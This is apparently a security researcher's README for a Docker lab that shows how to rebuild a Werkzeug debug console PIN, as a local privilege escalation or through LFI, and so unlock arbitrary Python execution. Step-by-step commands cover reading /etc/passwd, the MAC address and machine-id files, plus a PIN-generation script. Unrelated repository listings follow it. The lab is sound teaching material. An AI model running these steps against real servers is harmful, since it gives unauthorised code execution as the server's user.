Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

Overview

Werkzeug Debug Console Pin Bypass

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.

The Werkzeug documentation warns users to never enable the debug console in production with or without a pin (https://werkzeug.palletsprojects.com/en/2.0.x/debug/#debugger-pin).

This repo provides a sample application to play with the /console endpoint on a dummy Flask application.

How to use

  1. Clone this repo
$ git clone https://wdahlenburg/werkzeug-debug-console-bypass
  1. Build the Docker image
$ docker build -t werkzeug-debug-console:latest .
  1. Run the Docker image
$ docker run -p 7777:7777 werkzeug-debug-console:latest
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://172.17.0.4:7777/ (Press CTRL+C to quit)
 * Restarting with stat
User: werkzeug-user
Module: flask.app
Module Name: Flask
App Location: /usr/local/lib/python3.9/site-packages/flask/app.py
Mac Address: 2485377892356
Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'

 * Debugger is active!
 * Debugger PIN: 118-831-072

Your server should be running on port 7777 at this point. The PIN will be displayed in the Docker logs, which is what you will be trying to recreate.

Exploiting as a local privilege escalation

A scenario that could come up is that the Flask server is running under a certain user with privileges X. You are a local user on the system with privileges Y. You have the ability to access the same information that Werkzeug uses to generate the PIN for the user running the server. Successfully unlocking the console provides OS command injection as the user running the server.

At any point if you are unsure, you can reference the Docker logs to see the expected values for each parameter.

  1. Open up a new terminal and log into Docker as some other user
$ docker ps                                            
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                                                                                                                                                                                          NAMES
9d0ff0081967   werkzeug-debug-console:latest       "python3 /app/server…"   16 minutes ago   Up 16 minutes   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp

$ docker exec -u 0 -it 9d0ff0081967 /bin/bash
[email protected]:/app#
  1. Take a look at https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py for references
  2. Identify the user running the server on port 7777
$ ps auxww | grep server
werkzeu+     1  0.0  0.1  34992 28072 ?        Ss   15:50   0:00 python3 /app/server.py
werkzeu+    10  0.0  0.1  35248 23780 ?        S    15:50   0:00 python3 /app/server.py
werkzeu+    11  0.0  0.1  35072 28276 ?        S    15:50   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+    12  0.7  0.1 109316 25500 ?        Sl   15:50   0:08 /usr/local/bin/python3 /app/server.py

It's likely the werkzeu user is running the server, but the name is truncated.

$ cat /etc/passwd
...
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh
  1. Copy the werkzeug-user into the username field of the werkzeug-pin-bypass.py file.

  2. Find the correct path to Flask

$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py
  1. Update the werkzeug-pin-bypass.py file with this information. The location will be different if alternate Python versions or OS's are used.
  2. Grab the Mac Address of the interface the server is hosting on:
$  python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892356'

OR

$ cat /sys/class/net/eth0/address 
02:42:ac:11:00:04
[email protected]:/app# python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:04".split(":"))
'0242ac110004'
>>> print(0x0242ac110004)
2485377892356
  1. Update the Mac address in the werkzeug-pin-bypass.py file.
  2. In python3 run the following script to generate the machine id
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)
  1. Update the machine id in the werkzeug-pin-bypass.py file.
  2. Go ahead and run the werkzeug-pin-bypass.py on the attacking machine
$  python3 ./werkzeug-pin-bypass.py
Pin: 118-831-072

If all goes well you should have the same Pin as the one displayed in the Docker logs. If not, recheck your steps. If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

The pin can be accepted at http://127.0.0.1/console. Once the system is unlocked you can run any python commands you want.

Credit

The original research was done here: https://www.daehee.com/werkzeug-console-pin-exploit/

The LFI vector is listed here: https://github.com/grav3m1nd-byte/werkzeug-pin

Owner
Wyatt Dahlenburg
Security Researcher and Developer
Wyatt Dahlenburg
On this repo, you'll find every codes I made during my NSI classes (informatical courses)

👨‍💻 👩‍💻 school-codes On this repo, you'll find every codes I made during my NSI classes (informatical courses) French for now since this repo is d

EDM 1.15 3 Dec 17, 2022
A webdav demo using a virtual filesystem that serves a random status of whether a cat in a box is dead or alive.

A webdav demo using a virtual filesystem that serves a random status of whether a cat in a box is dead or alive.

Marshall Conover 2 Jan 12, 2022
Scripts to integrate DFIR-IRIS, MISP and TimeSketch

Scripts to integrate DFIR-IRIS, MISP and TimeSketch

Koen Van Impe 20 Dec 16, 2022
Transform your boring distro into a hacking powerhouse.

Pentizer Transform your boring distro into a hacking powerhouse. Pentizer is a personal project that imports Kali and Parrot repositories in any Debia

Michail Tsimpliarakis 2 Nov 05, 2021
用于导出墨墨背单词的词库,并生成适用于 List 背单词,不背单词,欧陆词典等的自定义词库

maimemo-export 用于导出墨墨背单词的词库,并生成适用于 List 背单词,欧陆词典,不背单词等的自定义词库。 仓库内已经导出墨墨背单词所有自带词库(暂不包括云词库),多达 900 种词库,可以在仓库中选择需要的词库下载(下载单个文件的方法),也可以去 蓝奏云(密码:666) 下载打包好

ourongxing 293 Dec 29, 2022
An OBS script to fuze files together

OBS TEXT FUZE Fuze text files and inject the output into a text source. The Index file directory should be a list of file directorys for the text file

SuperZooper3 1 Dec 27, 2021
A site that went kinda viral that lets you put Bernie Sanders in places

Bernie In Places An app that accidentally went viral! Read the story in WIRED here Install First, create a python virtual environment, and install all

310 Aug 22, 2022
A set of decks and notebooks with exercises for use in a hands-on causal inference tutorial session

intro-to-causal-inference A introduction to causal inference using common tools from the python data stack Table of Contents Getting Started Install g

Roni Kobrosly 15 Dec 07, 2022
An example repository for how to generate results using PyBaMM

PyBaMM results This repository provides a template for generating results (for example, for a paper) using PyBaMM Installation Install PyBaMM using a

PyBaMM Team 7 Oct 09, 2022
Integer sets where all subsets have unique sums

Evil Sums Generation of sets of numbers where all constituents are recoverable from a partial sum.

Charlotte 5 Sep 24, 2022
Easily Generate Revolut Business Cards

RevBusinessCardGen Easily Generate Revolut Business Cards Prerequisites Before you begin, ensure you have met the following requirements: You have ins

Younes™ 35 Dec 14, 2022
python DroneCAN code generation, interface and utilities

UAVCAN v0 stack in Python Python implementation of the UAVCAN v0 protocol stack. UAVCAN is a lightweight protocol designed for reliable communication

DroneCAN 11 Dec 12, 2022
Projects using the Tkinter module in Python!

Tkinter projects This repository includes some Tkinter projects made by me. All of these are simple to understand. I create apps with good functionali

Amey 0 Sep 24, 2021
"Hacking" the (Telekom) Zyxel GPON SFP module (PMG3000-D20B)

"Hacking" the (Telekom) Zyxel GPON SFP module (PMG3000-D20B) The SFP can be sour

Matthias Riegler 52 Jan 03, 2023
Play tic-tac-toe in PowerPoint

The presentation has around 6,000 slides representing every possible game state (and some impossible ones, since I didn't check for wins or ties). You play by clicking on the squares, which are hyper

Jesse Li 3 Dec 18, 2021
Multiperiod Reports by Month/Quarter/Year in Beancount.

Multiperiod Reports by Month/Quarter/Year in Beancount. Plotting income and expenses over time. Treemap plot of expenses.

Altynbek Isabekov 16 Aug 13, 2022
Bring A Trailer(BAT) is a popular online auction website for enthusiast cars. This traverse auction results and saves them as CSV

BaT Data Grabber Bring A Trailer(BAT) is a popular online auction website for enthusiast cars. This traverse auction results and saves them as CSV Bri

Elliot Weil 2 Oct 31, 2021
Extend the maya channel box with searchability and colour

channel-box-plus will add search-ability over its attributes, and it will colour user defined attributes, making them easier to distinguish.

Robert Joosten 12 Jun 08, 2022
This script provides LIVE feedback for On-The-Fly data collection with RELION

README This script provides LIVE feedback for On-The-Fly data collection with RELION (very useful to explore already processed datasets too!) Creating

cryoEM CNIO 6 Jul 14, 2022
A corona information module

A corona information module

Fayas Noushad 3 Nov 28, 2021